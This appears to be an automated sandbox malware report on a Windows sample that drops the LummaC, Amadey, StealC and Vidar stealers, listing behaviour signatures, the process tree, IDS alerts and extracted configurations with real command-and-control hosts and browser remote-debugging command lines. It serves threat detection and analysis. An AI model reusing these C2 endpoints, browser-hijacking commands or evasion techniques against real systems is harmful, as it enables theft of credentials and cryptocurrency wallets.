Edit tour

Windows Analysis Report
4TPPuMwzSA.exe

Overview

General Information

Sample name:	4TPPuMwzSA.exe renamed because original name is a hash value
Original sample name:	d8c2dbe1dc35a7cdac6842d48fecb333.exe
Analysis ID:	1575796
MD5:	d8c2dbe1dc35a7cdac6842d48fecb333
SHA1:	e2c05c1cd61c9085f23f1462acdc10444c52dc0a
SHA256:	b42e54290ed4aad3ce47fee33a85c5438736e76c26f85a6e422a9da60203f219
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

4TPPuMwzSA.exe (PID: 7508 cmdline: "C:\Users\user\Desktop\4TPPuMwzSA.exe" MD5: D8C2DBE1DC35A7CDAC6842D48FECB333)

B4U6J06FD2GOJV7081L.exe (PID: 7916 cmdline: "C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe" MD5: 17839CF1DD548DBB64EC23E644A475E0)

0T9SUT3NIHPVYFO0WUKXI.exe (PID: 8088 cmdline: "C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe" MD5: 6B7CCA5A323F5E7087052DBE58F4C15A)

chrome.exe (PID: 2944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2088,i,9412367177706632244,1017360453159819456,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 6980 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6288 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2308,i,2540169261572747136,2314249800011024031,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 2836 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DBAEHCGHII.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DBAEHCGHII.exe (PID: 4144 cmdline: "C:\Users\user\Documents\DBAEHCGHII.exe" MD5: 215688FC3175B17C270C29FE33195914)

skotes.exe (PID: 3236 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 215688FC3175B17C270C29FE33195914)

msedge.exe (PID: 6476 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5380 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1996,i,11317946116252847861,14765344992864549327,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 5816 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 215688FC3175B17C270C29FE33195914)

skotes.exe (PID: 6864 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 215688FC3175B17C270C29FE33195914)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["deafeninggeh.biz", "debonairnukk.xyz", "awake-weaves.cyou", "diffuculttan.xyz", "immureprech.biz", "tacitglibbr.biz", "wrathful-jammy.cyou", "effecterectz.xyz", "sordid-snaked.cyou"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1489752084.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1420787017.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1493192986.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2274664924.0000000000451000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1492511030.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2261575621.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2268472466.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1491124712.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2233603342.0000000005190000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2268868915.0000000000FD1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1488234510.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2259191729.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1492372678.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1464746561.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1487839489.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1491891684.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2529982142.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1443772797.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1465136252.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1685938522.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1489238865.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2302156818.0000000000B61000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2268868915.000000000109C000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1490281273.000000000168D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1493333668.000000000168F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.2301486962.0000000000B61000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2601381660.0000000000B61000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 4TPPuMwzSA.exe PID: 7508	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4TPPuMwzSA.exe PID: 7508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author
19.2.skotes.exe.b60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.b60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.skotes.exe.b60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.DBAEHCGHII.exe.450000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe", ParentImage: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe, ParentProcessId: 8088, ParentProcessName: 0T9SUT3NIHPVYFO0WUKXI.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 2944, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:06.889389+0100	2028371	3	Unknown Traffic	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:37:08.892674+0100	2028371	3	Unknown Traffic	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:37:11.771249+0100	2028371	3	Unknown Traffic	192.168.2.9	49729	104.21.50.161	443	TCP
2024-12-16T10:37:13.941503+0100	2028371	3	Unknown Traffic	192.168.2.9	49738	104.21.50.161	443	TCP
2024-12-16T10:37:16.236096+0100	2028371	3	Unknown Traffic	192.168.2.9	49746	104.21.50.161	443	TCP
2024-12-16T10:37:18.994178+0100	2028371	3	Unknown Traffic	192.168.2.9	49752	104.21.50.161	443	TCP
2024-12-16T10:37:21.471261+0100	2028371	3	Unknown Traffic	192.168.2.9	49760	104.21.50.161	443	TCP
2024-12-16T10:37:25.270516+0100	2028371	3	Unknown Traffic	192.168.2.9	49771	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:07.588684+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:37:10.193151+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:37:25.937668+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49771	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:07.588684+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49717	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:10.193151+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49723	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:06.889389+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:37:08.892674+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:37:11.771249+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49729	104.21.50.161	443	TCP
2024-12-16T10:37:13.941503+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49738	104.21.50.161	443	TCP
2024-12-16T10:37:16.236096+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49746	104.21.50.161	443	TCP
2024-12-16T10:37:18.994178+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49752	104.21.50.161	443	TCP
2024-12-16T10:37:21.471261+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49760	104.21.50.161	443	TCP
2024-12-16T10:37:25.270516+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49771	104.21.50.161	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:27.480977+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49777	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:05.419268+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.9	56438	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:41.601862+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49808	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:41.472158+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.9	49808	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:41.921853+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.9	49808	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:43.444531+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.9	49808	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:42.043519+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49808	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:12.551158+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49729	104.21.50.161	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:41.031304+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49808	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:39:04.916831+0100	2856147	1	A Network Trojan was detected	192.168.2.9	50015	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:36:57.379627+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.9	50016	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:39:09.365620+0100	2803305	3	Unknown Traffic	192.168.2.9	50017	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:43.882021+0100	2803304	3	Unknown Traffic	192.168.2.9	49808	185.215.113.206	80	TCP
2024-12-16T10:38:10.966559+0100	2803304	3	Unknown Traffic	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:12.997555+0100	2803304	3	Unknown Traffic	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:14.303143+0100	2803304	3	Unknown Traffic	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:15.563710+0100	2803304	3	Unknown Traffic	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:19.132168+0100	2803304	3	Unknown Traffic	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:20.199973+0100	2803304	3	Unknown Traffic	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:25.796955+0100	2803304	3	Unknown Traffic	192.168.2.9	49935	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:37:21.476112+0100	2843864	1	A Network Trojan was detected	192.168.2.9	49760	104.21.50.161	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 4TPPuMwzSA.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://tacitglibbr.biz/MSWznTY69wwRW38B95EM	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/pi	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/5V	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apir2	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php----GV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/piw	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/api=	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll0	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/es	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/s	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/o~Kg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpPVYFO0WUKXI.exex	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllJ	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\DBAEHCGHII.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000012.00000002.2274664924.0000000000451000.00000040.00000001.01000000.0000000F.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4TPPuMwzSA.exe.7508.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["deafeninggeh.biz", "debonairnukk.xyz", "awake-weaves.cyou", "diffuculttan.xyz", "immureprech.biz", "tacitglibbr.biz", "wrathful-jammy.cyou", "effecterectz.xyz", "sordid-snaked.cyou"], "Build id": "PsFKDg--pablo"}
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.8088.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for submitted file

Source: 4TPPuMwzSA.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\DBAEHCGHII.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 4TPPuMwzSA.exe

Joe Sandbox ML: detected

